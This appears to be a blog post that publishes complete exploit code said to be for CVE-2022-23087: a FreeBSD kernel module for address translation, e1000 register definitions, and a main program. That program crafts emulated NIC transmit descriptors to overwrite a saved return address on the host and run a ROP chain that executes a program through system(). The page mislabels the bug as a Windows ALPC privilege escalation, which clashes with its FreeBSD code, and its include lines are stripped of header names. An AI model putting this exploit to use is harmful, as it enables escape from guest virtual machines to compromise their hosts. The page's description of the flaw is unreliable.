Exploit code for CVE-2022-23087

 


Windows ALPC Elevation of Privilege Vulnerability. 


Module


  • MakeFile


KMOD = pt
SRCS = pt.c
.include 

  • pt.c

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#include 
#include 
#include 

struct pt_args
{
	vm_offset_t vaddr;
	uint64_t    *res;
};

static int pt(struct thread *td, void *args)
{
	struct pmap *pmap;
	struct pt_args *user = args;

	vm_offset_t vaddr = user->vaddr;
	uint64_t *res = user->res;

	uint64_t paddr;

	pmap = &td->td_proc->p_vmspace->vm_pmap;
	paddr = pmap_extract(pmap, vaddr);

	return copyout(&paddr, res, sizeof(uint64_t));
}

static struct sysent pt_sysent = {
   .sy_narg = 2,
   .sy_call = pt
};

static int offset=NO_SYSCALL;

static int load(struct module *module, int cmd, void *arg)
{
	int error=0;
	switch(cmd) {
		case MOD_LOAD:
			uprintf("loading syscall at offset %d\n", offset);
			break;
		case MOD_UNLOAD:
			uprintf("unloading syscall from offset %d\n", offset);
			break;
		default:
			error=EOPNOTSUPP;
			break;
	}
	return error;
}

SYSCALL_MODULE(pt, &offset, &pt_sysent, load, NULL);


e1000.h


#define e1000_PORT 0x2100

enum e1000_registers {

	CTRL = 0x00000,		/* Device Control - RW */

	/* Transmit */
	TXCW   = 0x0178,	/* x0178 transmit config */
	TCTL   = 0x0400,	/* x0400 transmit ctl */
	TIPG   = 0x0410,	/* x0410 inter-packet gap */
	AIT    = 0x0458,	/* x0458 Adaptive Interframe Throttle */
	TDBAL  = 0x3800,	/* x3800 desc table addr, low bits */
	TDBAH  = 0x3804,	/* x3804 desc table addr, hi 32-bits */
	TDLEN  = 0x3808,	/* x3808 # descriptors in bytes */
	TDH    = 0x3810,	/* x3810 desc table head idx */
	TDT    = 0x3818,	/* x3818 desc table tail idx */
	TIDV   = 0x3820,	/* x3820 intr delay */
	TXDCTL = 0x3828,	/* x3828 desc control */
	TADV   = 0x382c,	/* x382C intr absolute delay */

	/* Receive */
	RCTL	= 0x0100,	/* x0100 receive ctl */
	FCRTL	= 0x2160,	/* x2160 flow cntl thresh, low */
	FCRTH	= 0x2168,	/* x2168 flow cntl thresh, hi */
	RDBAL	= 0x2800,	/* x2800 desc table addr, low bits */
	RDBAH	= 0x2804,	/* x2804 desc table addr, hi 32-bits*/
	RDLEN	= 0x2808,	/* x2808 #descriptors */
	RDH	    = 0x2810,	/* x2810 desc table head idx */
	RDT	    = 0x2818,	/* x2818 desc table tail idx */
	RDTR	= 0x2820,	/* x2820 intr delay */
	RXDCTL	= 0x2828,	/* x2828 desc control */
	RADV	= 0x282c,	/* x282C intr absolute delay */
	RSRPD	= 0x2c00,	/* x2C00 recv small packet detect */
	RXCSUM  = 0x5000, 	/* x5000 receive cksum ctl */
};


/* Transmit Descriptor bit definitions */
#define E1000_TXD_DTYP_D	0x00100000 /* Data Descriptor */
#define E1000_TXD_DTYP_C	0x00000000 /* Context Descriptor */
#define E1000_TXD_POPTS_IXSM	0x01   /* Insert IP checksum */
#define E1000_TXD_POPTS_TXSM	0x02   /* Insert TCP/UDP checksum */
#define E1000_TXD_CMD_EOP	0x01000000 /* End of Packet */
#define E1000_TXD_CMD_IFCS	0x02000000 /* Insert FCS (Ethernet CRC) */
#define E1000_TXD_CMD_IC	0x04000000 /* Insert Checksum */
#define E1000_TXD_CMD_RS	0x08000000 /* Report Status */
#define E1000_TXD_CMD_RPS	0x10000000 /* Report Packet Sent */
#define E1000_TXD_CMD_DEXT	0x20000000 /* Desc extension (0 = legacy) */
#define E1000_TXD_CMD_VLE	0x40000000 /* Add VLAN tag */
#define E1000_TXD_CMD_IDE	0x80000000 /* Enable Tidv register */
#define E1000_TXD_STAT_DD	0x00000001 /* Descriptor Done */
#define E1000_TXD_STAT_EC	0x00000002 /* Excess Collisions */
#define E1000_TXD_STAT_LC	0x00000004 /* Late Collisions */
#define E1000_TXD_STAT_TU	0x00000008 /* Transmit underrun */
#define E1000_TXD_CMD_TCP	0x01000000 /* TCP packet */
#define E1000_TXD_CMD_IP	0x02000000 /* IP packet */
#define E1000_TXD_CMD_TSE	0x04000000 /* TCP Seg enable */
#define E1000_TXD_STAT_TC	0x00000004 /* Tx Underrun */
#define E1000_TXD_EXTCMD_TSTAMP	0x00000010 /* IEEE1588 Timestamp packet */

/* Transmit Control */
#define E1000_TCTL_EN		0x00000002 /* enable Tx */
#define E1000_TCTL_PSP		0x00000008 /* pad short packets */
#define E1000_TCTL_CT		0x00000ff0 /* collision threshold */
#define E1000_TCTL_COLD		0x003ff000 /* collision distance */
#define E1000_TCTL_RTLC		0x01000000 /* Re-transmit on late collision */
#define E1000_TCTL_MULR		0x10000000 /* Multiple request support */

/* Transmit descriptor types */
#define	E1000_TXD_MASK		(E1000_TXD_CMD_DEXT | 0x00F00000)
#define E1000_TXD_TYP_L		(0)
#define E1000_TXD_TYP_C		(E1000_TXD_CMD_DEXT | E1000_TXD_DTYP_C)
#define E1000_TXD_TYP_D		(E1000_TXD_CMD_DEXT | E1000_TXD_DTYP_D)

/* Receive Control */
#define E1000_RCTL_RST		0x00000001 /* Software reset */
#define E1000_RCTL_EN		0x00000002 /* enable */
#define E1000_RCTL_SBP		0x00000004 /* store bad packet */
#define E1000_RCTL_UPE		0x00000008 /* unicast promisc enable */
#define E1000_RCTL_MPE		0x00000010 /* multicast promisc enable */
#define E1000_RCTL_LPE		0x00000020 /* long packet enable */
#define E1000_RCTL_LBM_NO	0x00000000 /* no loopback mode */
#define E1000_RCTL_LBM_MAC	0x00000040 /* MAC loopback mode */
#define E1000_RCTL_LBM_TCVR	0x000000C0 /* tcvr loopback mode */
#define E1000_RCTL_DTYP_PS	0x00000400 /* Packet Split descriptor */
#define E1000_RCTL_RDMTS_HALF	0x00000000 /* Rx desc min thresh size */
#define E1000_RCTL_RDMTS_HEX	0x00010000
#define E1000_RCTL_RDMTS1_HEX	E1000_RCTL_RDMTS_HEX
#define E1000_RCTL_MO_SHIFT	12 /* multicast offset shift */
#define E1000_RCTL_MO_3		0x00003000 /* multicast offset 15:4 */
#define E1000_RCTL_BAM		0x00008000 /* broadcast enable */
/* these buffer sizes are valid if E1000_RCTL_BSEX is 0 */
#define E1000_RCTL_SZ_2048	0x00000000 /* Rx buffer size 2048 */
#define E1000_RCTL_SZ_1024	0x00010000 /* Rx buffer size 1024 */
#define E1000_RCTL_SZ_512	0x00020000 /* Rx buffer size 512 */
#define E1000_RCTL_SZ_256	0x00030000 /* Rx buffer size 256 */
/* these buffer sizes are valid if E1000_RCTL_BSEX is 1 */
#define E1000_RCTL_SZ_16384	0x00010000 /* Rx buffer size 16384 */
#define E1000_RCTL_SZ_8192	0x00020000 /* Rx buffer size 8192 */
#define E1000_RCTL_SZ_4096	0x00030000 /* Rx buffer size 4096 */
#define E1000_RCTL_VFE		0x00040000 /* vlan filter enable */
#define E1000_RCTL_CFIEN	0x00080000 /* canonical form enable */
#define E1000_RCTL_CFI		0x00100000 /* canonical form indicator */
#define E1000_RCTL_DPF		0x00400000 /* discard pause frames */
#define E1000_RCTL_PMCF		0x00800000 /* pass MAC control frames */
#define E1000_RCTL_BSEX		0x02000000 /* Buffer size extension */
#define E1000_RCTL_SECRC	0x04000000 /* Strip Ethernet CRC */


exploit.c


#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

#include "e1000.h"

#define PAGE_SIZE 0x1000
#define BUFF_SIZE PAGE_SIZE

#define SAVED_RIP_OFF 0x3f68
#define POP_RBP       0x222164
#define POP_RDI       0x21e688
#define LEAVE         0x22dd28
#define SYSTEM        0x21f83c
#define CALC          0x7fffdebf35a8
#define ROPCHAIN      0x7fffdebf3578

#define GET_WORD(val, n) (((val) >> ((n) * 16)) & 0xffff)
#define MAKE_WORD(val, n) htons((htons(GET_WORD(val, n)) - 1))

#define TX_NB 64;

extern uint64_t gva_to_gpa(void *);

void xxd(void *ptr, size_t size)
{
	size_t i;
	for (i = 0; i < size; i++) {
		if (i % 16 == 0) printf("\n0x%"PRIx64": ", (uint64_t)(ptr+i));
		printf("%02x", *(uint8_t *)(ptr+i));
		if (i % 16 != 0 && i % 2 == 1) printf(" ");
	}
	printf("\n");
}


/* Legacy transmit descriptor */
struct e1000_tx_desc {
	uint64_t buffer_addr;   /* Address of the descriptor's data buffer */
	union {
		uint32_t data;
		struct {
			uint16_t length;  /* Data buffer length */
			uint8_t  cso;  /* Checksum offset */
			uint8_t  cmd;  /* Descriptor control */
		} flags;
	} lower;
	union {
		uint32_t data;
		struct {
			uint8_t status; /* Descriptor status */
			uint8_t css;  /* Checksum start */
			uint16_t special;
		} fields;
	} upper;
};

/* Context descriptor */
struct e1000_context_desc {
	union {
		uint32_t ip_config;
		struct {
			uint8_t ipcss;  /* IP checksum start */
			uint8_t ipcso;  /* IP checksum offset */
			uint16_t ipcse;  /* IP checksum end */
		} ip_fields;
	} lower_setup;
	union {
		uint32_t tcp_config;
		struct {
			uint8_t tucss;  /* TCP checksum start */
			uint8_t tucso;  /* TCP checksum offset */
			uint16_t tucse;  /* TCP checksum end */
		} tcp_fields;
	} upper_setup;
	uint32_t cmd_and_length;
	union {
		uint32_t data;
		struct {
			uint8_t status;  /* Descriptor status */
			uint8_t hdr_len;  /* Header length */
			uint16_t mss;  /* Maximum segment size */
		} fields;
	} tcp_seg_setup;
};

/* Data descriptor */
struct e1000_data_desc {
	uint64_t buffer_addr;  /* Address of the descriptor's buffer address */
	union {
		uint32_t data;
		struct {
			uint16_t length;  /* Data buffer length */
			uint8_t typ_len_ext;
			uint8_t cmd;
		} flags;
	} lower;
	union {
		uint32_t data;
		struct {
			uint8_t status;  /* Descriptor status */
			uint8_t popts;  /* Packet Options */
			uint16_t special;
		} fields;
	} upper;
};

union e1000_tx_udesc {
	struct e1000_tx_desc td;
	struct e1000_context_desc cd;
	struct e1000_data_desc dd;
};

void e1000_write_reg(int reg, uint32_t val)
{
	outl(e1000_PORT + CTRL, reg);
	outl(e1000_PORT + 4, val);
}

void e1000_tx_enable()
{
	e1000_write_reg(TCTL, E1000_TCTL_EN);
}

void e1000_tx_disable()
{
	e1000_write_reg(TCTL, 0);
}

void e1000_tx_start(uint8_t tail)
{
	e1000_write_reg(TDT, tail);
}

void e1000_tx_transmit(union e1000_tx_udesc *tx_ring, uint8_t *head, struct e1000_context_desc *cd, uint16_t pktlen)
{
	// set packet context
	memcpy(&tx_ring[*head].cd, cd, sizeof(struct e1000_context_desc));

	// set packet data
	tx_ring[*head + 1].dd.lower.data = pktlen;
	tx_ring[*head + 1].dd.lower.data |= E1000_TXD_CMD_EOP;
	tx_ring[*head + 1].dd.lower.data |= E1000_TXD_CMD_TSE;
	tx_ring[*head + 1].dd.lower.data |= E1000_TXD_TYP_D;
	tx_ring[*head + 1].dd.upper.fields.popts = E1000_TXD_POPTS_TXSM;

	*head += 2 % TX_NB;

}

// UDP packet
static char packet[] = {
	0x58, 0x9c, 0xfc, 0x0e, 0xb7, 0x3d, 0x58, 0x9c,
	0xfc, 0x0f, 0xb4, 0x44, 0x08, 0x00, 0x45, 0x00,
	0x00, 0x21, 0x43, 0xad, 0x40, 0x00, 0x40, 0x11,
	0xf9, 0x1c, 0x01, 0x02, 0x03, 0x04, 0xc0, 0xa8,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
	0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00,
};

int main()
{
	union e1000_tx_udesc *tx_ring;
	struct e1000_context_desc tx_cd;
	uint8_t tx_nb = TX_NB;
	uint16_t tx_size;
	char *tx_buffer[tx_nb], *buffer;
	uint8_t head = 0;
	uint64_t addr;

	uint16_t pktlen, hdrlen, paylen, mss, write_off;
	uint8_t ipcss, tucss, hdroff;

	// get permissions for in/out
	open("/dev/io", O_RDONLY, 0);

	// configure TX descriptors
	warnx("configuring TX descriptors");
	tx_size = tx_nb * sizeof(union e1000_tx_udesc);
	tx_ring = aligned_alloc(PAGE_SIZE, tx_size);
	memset(tx_ring, 0, tx_size);

	for(int i = 0; i < tx_nb; i++) {
		buffer = aligned_alloc(PAGE_SIZE, BUFF_SIZE);
		memcpy(buffer, packet, sizeof(packet));

		tx_buffer[i] = buffer;
		addr = gva_to_gpa(buffer);
		warnx("TX ring buffer at 0x%"PRIx64"\n", addr);
		tx_ring[i].dd.buffer_addr = addr;
	};

	warnx("disable TX");
	e1000_tx_disable();

	addr = gva_to_gpa(tx_ring);
	//warnx("TX ring buffer at 0x%"PRIx64"\n", addr);

	warnx("update TX desc table");
	e1000_write_reg(TDBAL, (uint32_t)addr);
	e1000_write_reg(TDBAH, addr >> 32);
	e1000_write_reg(TDLEN, tx_size);
	e1000_write_reg(TDH, 0);

	warnx("enable TX");
	e1000_tx_enable();

	/* fill stack with ropchain */
	hdrlen = 220;

	tx_cd.lower_setup.ip_fields.ipcss = 0;
	tx_cd.lower_setup.ip_fields.ipcso = 0;
	tx_cd.lower_setup.ip_fields.ipcse = 0;

	tx_cd.upper_setup.tcp_fields.tucss = 0;
	tx_cd.upper_setup.tcp_fields.tucso = 0;
	tx_cd.upper_setup.tcp_fields.tucse = 0;

	tx_cd.cmd_and_length = hdrlen;
	tx_cd.cmd_and_length |= E1000_TXD_TYP_C;
	tx_cd.cmd_and_length |= E1000_TXD_CMD_IP;

	tx_cd.tcp_seg_setup.fields.status = 0;
	tx_cd.tcp_seg_setup.fields.hdr_len = hdrlen;
	tx_cd.tcp_seg_setup.fields.mss = PAGE_SIZE;

	memset(tx_buffer[head + 1], 'A', PAGE_SIZE);
	uint64_t *ptr =  (uint64_t *)tx_buffer[head + 1];
	*(ptr + 3) = POP_RDI;
	*(ptr + 4) = CALC;
	*(ptr + 6) = SYSTEM;
	strcpy(tx_buffer[head + 1] + 56, "/usr/local/bin/xcalc");

	e1000_tx_transmit(tx_ring, &head, &tx_cd, PAGE_SIZE);

	/* corrupting saved rip + 10 */
	hdrlen = 32;
	hdroff = 0x90;
	ipcss = 12;
	tucss = 18;
	mss = htons(ROPCHAIN & 0xffff) - hdrlen + ipcss;
	paylen = 2 * mss;
	pktlen = paylen + hdrlen;

	tx_cd.lower_setup.ip_fields.ipcss = ipcss;
	tx_cd.lower_setup.ip_fields.ipcso = 0;
	tx_cd.lower_setup.ip_fields.ipcse = 0;

	tx_cd.upper_setup.tcp_fields.tucss = tucss;
	tx_cd.upper_setup.tcp_fields.tucso = hdroff;
	tx_cd.upper_setup.tcp_fields.tucse = tucss+1;

	tx_cd.cmd_and_length = paylen;
	tx_cd.cmd_and_length |= E1000_TXD_TYP_C;
	tx_cd.cmd_and_length |= E1000_TXD_CMD_IP;

	tx_cd.tcp_seg_setup.fields.status = 0;
	tx_cd.tcp_seg_setup.fields.hdr_len = hdrlen;
	tx_cd.tcp_seg_setup.fields.mss = mss; // WHAT_LOW

	write_off = (SAVED_RIP_OFF + 10) - ipcss - 2;
	*(uint16_t *)(tx_buffer[head + 1] + tucss) = ~write_off; // WHERE
	*(uint16_t *)(tx_buffer[head + 1] + ipcss + 4) = MAKE_WORD(ROPCHAIN, 2);

	e1000_tx_transmit(tx_ring, &head, &tx_cd, pktlen);

	/* corrupt saved rip + 8 */
	write_off = (SAVED_RIP_OFF + 8) - ipcss - 2;
	*(uint16_t *)(tx_buffer[head + 1] + tucss) = ~write_off;
	*(uint16_t *)(tx_buffer[head + 1] + ipcss + 4) = MAKE_WORD(ROPCHAIN, 1);

	e1000_tx_transmit(tx_ring, &head, &tx_cd, pktlen);


	/* corrupt saved rip + 16 */
	mss = htons(LEAVE & 0xffff) - hdrlen + ipcss;
	paylen = 2 * mss;
	pktlen = paylen + hdrlen;

	tx_cd.cmd_and_length = paylen;
	tx_cd.cmd_and_length |= E1000_TXD_TYP_C;
	tx_cd.cmd_and_length |= E1000_TXD_CMD_IP;

	tx_cd.tcp_seg_setup.fields.status = 0;
	tx_cd.tcp_seg_setup.fields.hdr_len = hdrlen;
	tx_cd.tcp_seg_setup.fields.mss = mss;

	write_off = (SAVED_RIP_OFF + 0x10) - ipcss - 2;
	*(uint16_t *)(tx_buffer[head + 1] + tucss) = ~write_off;
	*(uint16_t *)(tx_buffer[head + 1] + ipcss + 4) = MAKE_WORD(LEAVE, 1);

	e1000_tx_transmit(tx_ring, &head, &tx_cd, pktlen);

	/* corrupt saved rip */
	tucss = 0;
	mss = htons(POP_RBP & 0xffff) - hdrlen + ipcss; // WHAT_LOW
	paylen = 2 * mss;
	pktlen = paylen + hdrlen;

	tx_cd.upper_setup.tcp_fields.tucss = tucss;
	tx_cd.upper_setup.tcp_fields.tucse = tucss+1;

	tx_cd.cmd_and_length = paylen;
	tx_cd.cmd_and_length |= E1000_TXD_TYP_C;
	tx_cd.cmd_and_length |= E1000_TXD_CMD_IP;

	tx_cd.tcp_seg_setup.fields.status = 0;
	tx_cd.tcp_seg_setup.fields.hdr_len = hdrlen;
	tx_cd.tcp_seg_setup.fields.mss = mss;

	write_off = SAVED_RIP_OFF - ipcss - 2;
	*(uint16_t *)(tx_buffer[head + 1] + tucss) = ~write_off;                 // WHERE
	*(uint16_t *)(tx_buffer[head + 1] + ipcss + 4) = MAKE_WORD(POP_RBP, 1);  // WHAT_HIGH

	e1000_tx_transmit(tx_ring, &head, &tx_cd, pktlen);

	e1000_tx_start(head);


	//xxd(tx_buffer, sizeof(packet));


	return 0;
}


mmu.c


#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

uint64_t gva_to_gpa(uint64_t vaddr)
{
	uint64_t paddr = 0;

	int nsys;
	int ret;
	int modid;

	struct module_stat stat;
	stat.version = sizeof(stat);

	modid = modfind("sys/pt");
	if (modid < 0)
		errx(EXIT_FAILURE, "modinfo");

	ret = modstat(modid, &stat);
	if (ret < 0)
		errx(EXIT_FAILURE, "modstat");

	nsys = stat.data.intval;
	ret = syscall(nsys, vaddr, &paddr);

	return paddr;
}

Lebih baru Lebih lama